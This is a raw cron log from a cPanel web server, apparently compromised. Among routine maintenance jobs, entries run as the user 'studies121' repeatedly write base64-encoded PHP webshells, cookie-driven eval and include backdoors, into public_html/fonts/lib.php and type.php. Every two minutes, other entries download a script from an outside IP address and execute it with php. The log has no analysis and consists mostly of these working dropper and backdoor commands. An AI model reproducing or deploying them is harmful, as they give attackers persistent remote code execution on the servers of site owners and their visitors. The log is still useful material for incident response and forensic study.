Sep  8 23:32:01 ip-184-168-122-23 CROND[8399]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 23:33:01 ip-184-168-122-23 CROND[8483]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 23:33:01 ip-184-168-122-23 CROND[8484]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:33:01 ip-184-168-122-23 CROND[8487]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 23:33:01 ip-184-168-122-23 CROND[8491]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:34:01 ip-184-168-122-23 CROND[8560]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 23:34:01 ip-184-168-122-23 CROND[8563]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 23:34:01 ip-184-168-122-23 CROND[8564]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 23:34:01 ip-184-168-122-23 CROND[8565]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:34:01 ip-184-168-122-23 CROND[8562]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:35:01 ip-184-168-122-23 CROND[8717]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 23:35:01 ip-184-168-122-23 CROND[8720]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:35:01 ip-184-168-122-23 CROND[8721]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 23:35:01 ip-184-168-122-23 CROND[8723]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  8 23:35:01 ip-184-168-122-23 CROND[8722]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 23:35:01 ip-184-168-122-23 CROND[8725]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 23:35:01 ip-184-168-122-23 CROND[8724]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:35:01 ip-184-168-122-23 CROND[8727]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 23:36:01 ip-184-168-122-23 CROND[8903]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 23:36:01 ip-184-168-122-23 CROND[8905]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 23:36:01 ip-184-168-122-23 CROND[8908]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:36:01 ip-184-168-122-23 CROND[8907]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 23:36:01 ip-184-168-122-23 CROND[8909]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:37:01 ip-184-168-122-23 CROND[8993]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:37:01 ip-184-168-122-23 CROND[8995]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 23:37:01 ip-184-168-122-23 CROND[8998]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:37:01 ip-184-168-122-23 CROND[8996]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 23:38:01 ip-184-168-122-23 CROND[9106]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 23:38:01 ip-184-168-122-23 CROND[9107]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 23:38:01 ip-184-168-122-23 CROND[9110]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:38:01 ip-184-168-122-23 CROND[9108]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 23:38:01 ip-184-168-122-23 CROND[9109]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:39:01 ip-184-168-122-23 CROND[9204]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 23:39:01 ip-184-168-122-23 CROND[9206]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 23:39:01 ip-184-168-122-23 CROND[9207]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:39:01 ip-184-168-122-23 CROND[9208]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:39:01 ip-184-168-122-23 CROND[9209]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 23:40:02 ip-184-168-122-23 CROND[9297]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:40:02 ip-184-168-122-23 CROND[9300]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 23:40:02 ip-184-168-122-23 CROND[9301]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 23:40:02 ip-184-168-122-23 CROND[9302]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:40:02 ip-184-168-122-23 CROND[9305]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 23:40:02 ip-184-168-122-23 CROND[9308]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 23:40:02 ip-184-168-122-23 CROND[9309]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 23:40:02 ip-184-168-122-23 CROND[9310]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 23:41:01 ip-184-168-122-23 CROND[9400]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 23:41:01 ip-184-168-122-23 CROND[9403]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 23:41:01 ip-184-168-122-23 CROND[9402]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:41:01 ip-184-168-122-23 CROND[9404]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:42:01 ip-184-168-122-23 CROND[9481]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 23:42:01 ip-184-168-122-23 CROND[9483]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 23:42:01 ip-184-168-122-23 CROND[9486]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:42:01 ip-184-168-122-23 CROND[9485]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:42:01 ip-184-168-122-23 CROND[9484]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 23:43:01 ip-184-168-122-23 CROND[9568]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 23:43:01 ip-184-168-122-23 CROND[9570]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:43:01 ip-184-168-122-23 CROND[9569]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:43:01 ip-184-168-122-23 CROND[9572]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 23:44:01 ip-184-168-122-23 CROND[9735]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 23:44:01 ip-184-168-122-23 CROND[9734]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 23:44:01 ip-184-168-122-23 CROND[9739]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:44:01 ip-184-168-122-23 CROND[9738]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
